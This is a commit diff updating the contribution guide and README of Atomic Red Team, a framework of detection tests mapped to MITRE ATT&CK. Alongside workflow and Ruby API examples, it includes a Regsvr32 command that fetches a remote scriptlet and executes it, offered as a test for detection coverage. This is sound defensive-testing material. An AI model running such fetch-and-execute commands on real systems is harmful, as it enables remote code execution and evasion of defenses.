security-tools/atomic-red-team
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

update CONTRIBUTIONS and README to cover the new file structure, document APIs, etc

Browse Source
This commit is contained in:
Brian Beyer
2018-05-21 20:43:04 +02:00
parent 4c32f9d7c8
commit 27a71545d6
2 changed files with 240 additions and 45 deletions
Download Patch File Download Diff File Expand all files Collapse all files
CONTRIBUTIONS.md
+68 -11
View File
@@ -1,34 +1,88 @@
# How to contribute to Atomic Red Team
*NOTE: We have sweet stickers for people who contribute; if you’re interested send a message to
gear@redcanary.com with your mailing address*
- [Atomic Philosophy](#atomic-philosophy)
- [How to contribute](#how-to-contribute)
- [Atomic Test structure](#atomic-test-structure)
- [Generating Atomic docs yourself (optional)](#generating-atomic-docs-yourself--optional-)
## Atomic Philosophy
Atomic Red Team welcomes all types of contributions as long as it is mapped to [MITRE ATT&CK](https://attack.mitre.org/wiki/Main_Page).
Atomic Red Team welcomes all types of contributions as long as it is mapped to [MITRE ATT&CK](https://attack.mitre.org/wiki/Main_Page). A few guidelines:
- Tests are made to be "easy". If your Atomic test is complicated and requires multiple external utilities/packages/Kali, we may dismiss it.
- Tests are made to be "easy". If your Atomic Test is complicated and requires multiple external utilities/packages/Kali, we may ask that you simplify it.
- TEST YOUR Atomic Test! Be sure to run it from a few OS platforms before submitting a pull to ensure everything is working correctly.
- TEST YOUR ATOMIC TEST! Be sure to run it from a few OSes/platforms before submitting a pull request to ensure everything is working correctly.
- If sourcing from another tool/product (ex. generated command), be sure to cite it in the test's description.
## How to contribute
Pick the technique you want to add a test for and run the generator:
Fork the atomic-red-team repository in Github, then checkout the repository and make a branch for your new test:
```
Fork on Github
git clone git@github.com/YOUR_GITHUB_ACCOUNT/atomic-red-team
cd atomic-red-team
git checkout -b t1234-something-describing-your-test
```
Pick the technique you want to add a test for (ie, T1234) and run the generator. This makes
a new test for the technique with a bunch of TODOs you'll fill in and opens up your editor
so you can get to work.
```
bin/new-atomic.rb T1234
```
This makes a new test for the technique with a bunch of TBDs you'll fill in and opens up your editor
so you can get to work.
Fill in the TBDs with the information for your test. Read the [Atomic Red Team YAML Spec](atomic-red-team/spec.yaml)
for complete details about what each field means and a list of possible values.
Validate that your Atomic Test is up to code!
Fill in the TODOs with the information for your test. See the [Atomic Test structure](#atomic-test-structure) section below.
Validate that your Atomic Test is up to spec!
```
bin/validate-atomics.rb
```
Submit a pull request once your test is complete and everything validates.
Submit a Pull Request once your test is complete and everything validates.
```
git add atomics/t1234
git commit -m "Add test for T1234 that does XYZ"
git push -u origin $(git branch |grep '*'|cut -f2 -d' ')
Go to github.com/YOUR_GITHUB_ACCOUNT/atomic-red-team and follow the instructions to create a new Pull Request.
```
## Atomic Test structure
This spec describes the format of Atomic Red Team atomic tests that are defined in YAML format.
The Atomic YAML schema is specified in the [Atomic Red Team YAML Spec](atomic_red_team/spec.yaml). See that
file for complete details about what each field means and a list of possible values.
The source of truth for a test is the YAML file - the associated human readable Markdown file is automatically
generated via `bin/generate-atomic-docs.rb` and `atomic_red_team/atomic_doc_template.md.erb`.
The directory structure is:
- Tests reside in the `atomics` directory
- One directory per ATT&CK technique, named as `t1234`
- All the atomic tests for a technique in a file named `t1234.yaml` inside that directory
- Any payloads, supporting materials, etc for the atomic tests also live in that directory
For example:
```
atomic_red_team/
atomic_red_team/atomics
atomic_red_team/atomics/t1234
atomic_red_team/atomics/t1234/t1234.yaml <-- this is where all the atomic tests for a technique live
atomic_red_team/atomics/t1234/payload1.sct <-- a payload file needed by one of the T1234 atomics
atomic_red_team/atomics/t1234/payload2.dll <-- another payload file needed by one of the T1234 atomics
```
In general, a set of atomic tests for a technique should never depend on payloads
or supporting files from other atomic directories. We want to keep things nice and close.
Use git symlinks if you really need to share files between techniques.
## Generating Atomic docs yourself (optional)
If you want to see what the pretty Markdown version of your Atomic Test is going to look like,
@@ -36,4 +90,7 @@ you can generate the Atomic Docs yourself:
```
bin/generate-atomic-docs.rb
```
```
The CircleCI build will automatically generate docs for your and commit them to your
pull request to ensure they are updated before being merged into master.
README.md
+172 -34
View File
@@ -1,57 +1,74 @@
![Atomic Red Team Logo](https://www.redcanary.com/wp-content/uploads/atomic-red-team.png)
# Atomic Red Team
[![CircleCI](https://circleci.com/gh/redcanaryco/atomic-red-team.svg?style=svg)](https://circleci.com/gh/redcanaryco/atomic-red-team)
Small and highly portable detection tests mapped to the [Mitre ATT&CK Framework.](https://attack.mitre.org/wiki/Main_Page)
Atomic Red Team is small, highly portable, community developed detection tests mapped to
[Mitre's ATT&CK](https://attack.mitre.org/wiki/Main_Page). *ATT&CK was created by and is a
trademark of The MITRE Corporation.*
*NOTE: We have sweet stickers for people who contribute; if you’re interested send a message to gear@redcanary.com with your mailing address*
**Table of Contents:**
1. [Quick Start: Using Atomic Red Team to test your security](#quick-start--using-atomic-red-team-to-test-your-security)
2. [Contributing Guide](https://github.com/redcanaryco/atomic-red-team/blob/master/CONTRIBUTIONS.md)
3. [Doing more with Atomic Red Team](#doing-more-with-atomic-red-team)
1. [Using the Atomic Red Team API](#using-the-atomic-red-team-api)
2. [Running Atomic Red Team tests via Invoke-ArtAction Powershell](#running-atomic-red-team-tests-via-invoke-artaction-powershell)
3. [Bonus APIs: Ruby ATT&CK API](#bonus-apis--ruby-attck-api)
## Mitre ATT&CK Matrix
## Quick Start: Using Atomic Red Team to test your security
We broke the repository into three working matrices:
Our Atomic Red Team tests are small, highly portable detection tests mapped to the MITRE ATT&CK Framework. Each test
is designed to map back to a particular tactic. This gives defenders a highly actionable way to immediately start
testing their defenses against a broad spectrum of attacks.
[Windows MITRE ATT&CK Matrix](Windows/README.md)
### Best Practices
[Mac MITRE ATT&CK Matrix](Mac/README.md)
* Be sure to get permission and necessary approval before conducting tests. Unauthorized testing is a bad decision
and can potentially be a resume-generating event.
[Linux MITRE ATT&CK Matrix](Linux/README.md)
* Set up a test machine that would be similar to the build in your environment. Be sure you have your collection/EDR
solution in place, and that the endpoint is checking in and active.
## How to use Atomic Red Team
* Spend some time developing a test plan or scenario. This can take many forms. An example test plan could be to
execute all the Discovery phase items at once in a batch file, or run each phase one by one, validating coverage as you go.
Our Atomic Red Team tests are small, highly portable detection tests mapped to the MITRE ATT&CK Framework. Each test is designed to map back to a particular tactic. We hope that this gives defenders a highly actionable way to immediately start testing their defenses against a broad spectrum of attacks.
### Getting Started
* Be sure to get permission and necessary approval before conducting tests. Unauthorized testing is a bad decision, and can potentially be a resume-generating event.
Select one or more Atomic Tests that you plan to execute. A complete list, ATT&CK matrices, and platform-specific
matrices linking to Atomic Tests can be found here:
* Set up a test machine that would be similar to the build in your environment. Be sure you have your collection/EDR solution in place, and that the endpoint is checking in and active.
- [Complete list of Atomic Tests](atomics/index.md)
- [Atomic Tests per the ATT&CK Matrix](atomics/matrix.md)
- [Atomic Tests per the Windows ATT&CK Matrix](atomics/windows-matrix.md)
- [Atomic Tests per the Mac ATT&CK Matrix](atomics/macos-matrix.md)
- [Atomic Tests per the Linux ATT&CK Matrix](atomics/linux-matrix/README.md)
* Spend some time developing a test plan or scenario. This can take many forms. An example test plan could be to execute all the Discovery phase items at once in a batch file, or run each phase one by one, validating coverage as you go.
There are three phases to the testing framework:
Once you have selected an Atomic Test, we suggest you take a three phase approach to running the test and evaluating results:
![Phases](https://www.redcanary.com/wp-content/uploads/image2-5.png)
### Phase 1: Execute Test
This particular test is fairly easy to exercise, since the tool is default on all Windows workstations.
In this example we will use Technique T1117 "Regsvr32" and Atomic Test "Regsvr32 remote COM scriptlet execution". This particular
test is fairly easy to exercise since the tool is on all Windows workstations by default.
The details of this test case are [here](Windows/Execution/Regsvr32.md).
The details of this test, [which are located here](atomics/t1117/t1117.md#atomic-test-2---regsvr32-remote-com-scriptlet-execution),
describe how you can test your detection by simply running the below command:
Two methods are provided to perform the Atomic Test:
#### Local
For a local simulation use the provided .sct file:
regsvr32.exe /s /u /i:file.sct scrobj.dll
#### Remote
For a remote simulation you will need a remotely accessible server to grab/download this file, or use gist:
regsvr32.exe /s /u /i:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/Windows/Payloads/RegSvr32.sct scrobj.dll
```
regsvr32.exe /s /u /i:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/t1117/RegSvr32.sct scrobj.dll
```
### Phase 2: Collect Evidence
What does your security solution observe? You may see a file modification in the user’s profile. You may detect network connections made by regsvr32.exe to an external IP. There may be an entry in the proxy logs. You may observe the scrobj.dll loading on Windows. Or, you might not observe any behavior on the endpoint or network. This is why we test! To identify visibility gaps and determine where improvements need to be made.
What does your security solution observe?
- You may see a file modification in the user’s profile.
- You may detect network connections made by regsvr32.exe to an external IP.
- There may be an entry in the proxy logs.
- You may observe the scrobj.dll loading on Windows.
- Or you might not observe any behavior on the endpoint or network.
This is why we test! We want to identify visibility gaps and determine where we need to make improvements.
![RC Timeline](https://www.redcanary.com/wp-content/uploads/image9-1.png)
@@ -61,11 +78,16 @@ What does your security solution observe? You may see a file modification in the
### Phase 3: Develop Detection
So you executed the test and none of your defenses fired – that’s why we test! Based on your observations and detection capabilities, it is time to use what you have to try to detect this event in your environment.
So you executed the test and none of your defenses fired – that’s why we test! Based on your observations
and detection capabilities, it is time to use what you have to try to detect this event in your environment.
![Unwind Data](https://www.redcanary.com/wp-content/uploads/image8-1.png)
Once the detection is built, it is time to validate that the detection is working and that it is appropriately tuned. If you were to write your detection too broadly and “detect” every regsvr32.exe, you are going to be digging out from a mountain of false positives. But if you write it too narrow and it only detects regsvr32.exe with the exact command line “/s /u /i” then all an attacker has to do is slightly modify the command line to evade your detection.
Once the detection is built, it is time to validate that the detection is working and that it is appropriately
tuned. If you were to write your detection too broadly and “detect” every regsvr32.exe without any suppression,
you are going to be digging out from a mountain of false positives. But if you write it too narrow and it
only detects regsvr32.exe with the exact command line `/s /u /i` then all an attacker has to do is slightly
modify their command line to evade your detection.
### Measure Progress
@@ -75,9 +97,125 @@ One of the goals is to try to measure your coverage/capabilities against the ATT
![Measure](https://www.redcanary.com/wp-content/uploads/image6-2.png)
## Doing more with Atomic Red Team
### Using the Atomic Red Team API
Atomic Red Team comes with a Ruby API that we use when validating tests again our spec, generating
documentation in Markdown format, etc. You too can use the API to use Atomic Red Team tests
in your test execution framework.
First install the gem: TODO VERIFY THIS
```
gem install git@github.com:redcanaryco/atomic-red-team.git
```
#### We did not create the MITRE ATT&CK Framework, we just think it is awesome and extensive.
or add to your Gemfile
```
gem 'atomic-red-team', git: 'git@github.com:redcanaryco/atomic-red-team.git', branch: :master
```
#### ATT&CK and ATT&CK Matrix are trademarks of The MITRE Corporation
#### Examples:
##### Example: print all the Atomic Tests by ATT&CK technique
```
require 'atomic_red_team'
AtomicRedTeam.new.atomic_tests.each do |atomic_yaml|
puts "#{atomic_yaml['attack_technique']}"
atomic_yaml['atomic_tests'].each do |atomic_test_yaml|
puts " #{atomic_test_yaml['name']}"
end
end
```
##### Example: Show what atomic tests we have for a specific ATT&CK technique
```
require 'atomic_red_team'
AtomicRedTeam.new.atomic_tests_for_technique('T1117').each do |atomic_test_yaml|
puts "#{atomic_test_yaml['name']}"
end
```
For additional examples, see the utilities in `bin/` or the API code in `atomic_red_team`.
### Running Atomic Red Team tests via Invoke-ArtAction Powershell
Atomic Red Team tests can also be invoked on a Windows system via an Atomic Red Team PowerShell module.
**Note: this section and the associated Powershell module does not currently work with the
new YAML format and is being updated.**
To invoke an Atomic Red Team test:
```
...from within the atomic-red-team directory...
# TODO: is there a way this can be installed from github?
PS > Import-Module .\AtomicRedTeam.psd1
PS > Invoke-ArtAction Windows/Execution/Trusted_Developer_Utilities/MSBuild
```
Tab-completion is also provided:
```
PS > Get-ArtAction Windows/Ex*
Windows/Execution/Trusted_Developer_Utilities/MSBuild
```
### Bonus APIs: Ruby ATT&CK API
Atomic Red Team pulls information about ATT&CK techniques using the STIX definitions of ATT&CK located
on [MITRE's CTI Github](https://raw.githubusercontent.com/mitre/cti/master/enterprise-attack/enterprise-attack.json).
We created a lightweight wrapper around that data structure to make it simple to consume. If you
would like to use it, install the atomic-red-team gem as [described above](#using-the-atomic-red-team-api),
and then:
```
$ bundle exec irb
2.2.0 :001 > require 'attack_api'
```
Get all the techniques
```
2.2.0 :020 > Attack.new.techniques.count
=> 219
```
Get information about a technique by it's friendly identifier
```
2.2.0 :006 > Attack.new.technique_info('t1117')
=> {"name"=>"Regsvr32", "description"=>"Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. Regsvr32.exe can be used to execute arbitrary binaries. (Citation: Microsoft Regsvr32)\n\nAdversaries may take advantage of this functionality to proxy" <SNIP> }
2.2.0 :007 > Attack.new.technique_info('t1117').keys
=> ["name", "description", "kill_chain_phases", "external_references", "object_marking_refs", "created", "created_by_ref", "x_mitre_platforms", "x_mitre_data_sources", "x_mitre_defense_bypassed", "x_mitre_permissions_required", "x_mitre_remote_support", "x_mitre_contributors", "id", "modified", "type"]
```
Get a map of ATT&CK Tactic to all the Techniques associated with it
```
2.2.0 :019 > Attack.new.techniques_by_tactic.each {|tactic, techniques| puts "#{tactic} has #{techniques.count} techniques"}
persistence has 56 techniques
defense-evasion has 59 techniques
privilege-escalation has 28 techniques
discovery has 19 techniques
credential-access has 20 techniques
execution has 31 techniques
lateral-movement has 17 techniques
collection has 13 techniques
exfiltration has 9 techniques
command-and-control has 21 techniques
initial-access has 10 techniques
```
My favorite: Getting a 2D array of the ATT&CK matrix of Tactic columns and Technique rows:
```
2.2.0 :062 > Attack.new.ordered_tactics
=> ["initial-access", "execution", "persistence", "privilege-escalation", "defense-evasion", "credential-access", "discovery", "lateral-movement", "collection", "exfiltration", "command-and-control"]
2.2.0 :071 > Attack.new.ordered_tactic_to_technique_matrix.each {|row| puts row.collect {|technique| technique['name'] if technique}.join(', ')};
Drive-by Compromise, AppleScript, .bash_profile and .bashrc, Access Token Manipulation, Access Token Manipulation, Account Manipulation, Account Discovery, AppleScript, Audio Capture, Automated Exfiltration, Commonly Used Port
Exploit Public-Facing Application, CMSTP, Accessibility Features, Accessibility Features, BITS Jobs, Bash History, Application Window Discovery, Application Deployment Software, Automated Collection, Data Compressed, Communication Through Removable Media
Hardware Additions, Command-Line Interface, AppCert DLLs, AppCert DLLs, Binary Padding, Brute Force, Browser Bookmark Discovery, Distributed Component Object Model, Clipboard Data, Data Encrypted, Connection Proxy
<SNIP>
, , Winlogon Helper DLL, , Timestomp, , , , , ,
, , , , Trusted Developer Utilities, , , , , ,
, , , , Valid Accounts, , , , , ,
, , , , Web Service, , , , , ,
```